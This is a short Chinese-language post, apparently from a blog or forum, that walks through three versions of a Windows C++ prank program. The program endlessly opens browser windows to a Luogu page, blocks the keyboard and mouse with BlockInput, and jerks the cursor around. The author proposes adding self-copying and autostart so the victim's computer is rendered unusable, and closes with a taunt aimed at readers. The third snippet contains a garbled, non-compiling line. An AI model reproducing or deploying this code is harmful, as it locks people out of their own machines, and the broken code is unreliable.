首先我们引入一个看起来人畜无害的代码
#import<windows.h>
#import<iostream>
using namespace std;
int main(){
if(MessageBox(0,"YES/NOT?","Message",MB_YESNO)==7)return 0;
while(true)
ShellExecute(0, "open", "https://www.luogu.com.cn/training/220070#problems",0, 0, 1);
}
次代码仅仅是一个询问,运行后会疯狂打开浏览器创建界面。
但是这个无法用任务管理器关掉,当然可以重启,所以我要先禁止你使用鼠标和键盘,但是本人刚入门windows.h所以就给个鼠标的(
#import<windows.h>
#import<iostream>
using namespace std;
int main(){
srand(time(0));
BlockInput(true);
if(MessageBox(0,"YES/NOT?","Message",MB_YESNO)==7)return 0;
while(true){
int x=rand()%1000+300;
int y=rand()%600+300;
SetCursorPos(x,y);
ShellExecute(0,"open","https://www.luogu.com.cn/training/220070#problems",0,0,1);
}
}
接下来我们可以让窗口乱出现,且疯狂自我备份(类似把自己的代码复制到另一个cpp上)这个是可实现的吧不过有点难实现就不写了(
#import<windows.h>
#import<iostream>
using namespace std;
int main(){
srand(time(0));
BlockInput(true);
if(MessageBox(0,"YES/NOT?","Message",MB_YESNO)==7)return 0;
while(true){
int x=rand()%1000+300;
int y=rand()%600+300;
SetCursorPos(x,y);
MessageBox(0,"YES/NOT?","Message",MB_YESNO)==7ShellExecute(0,"open","https://www.luogu.com.cn/training/220070#problems",0,0,1);
}
}
接下来我们加上开机自动启动的程序,这个从网上找了也是可以实现的,所以理论上你的电脑死了。
所以,喜欢乱用代码的小朋友们你们好啊,以后会有一个代码让你们痛不欲生呢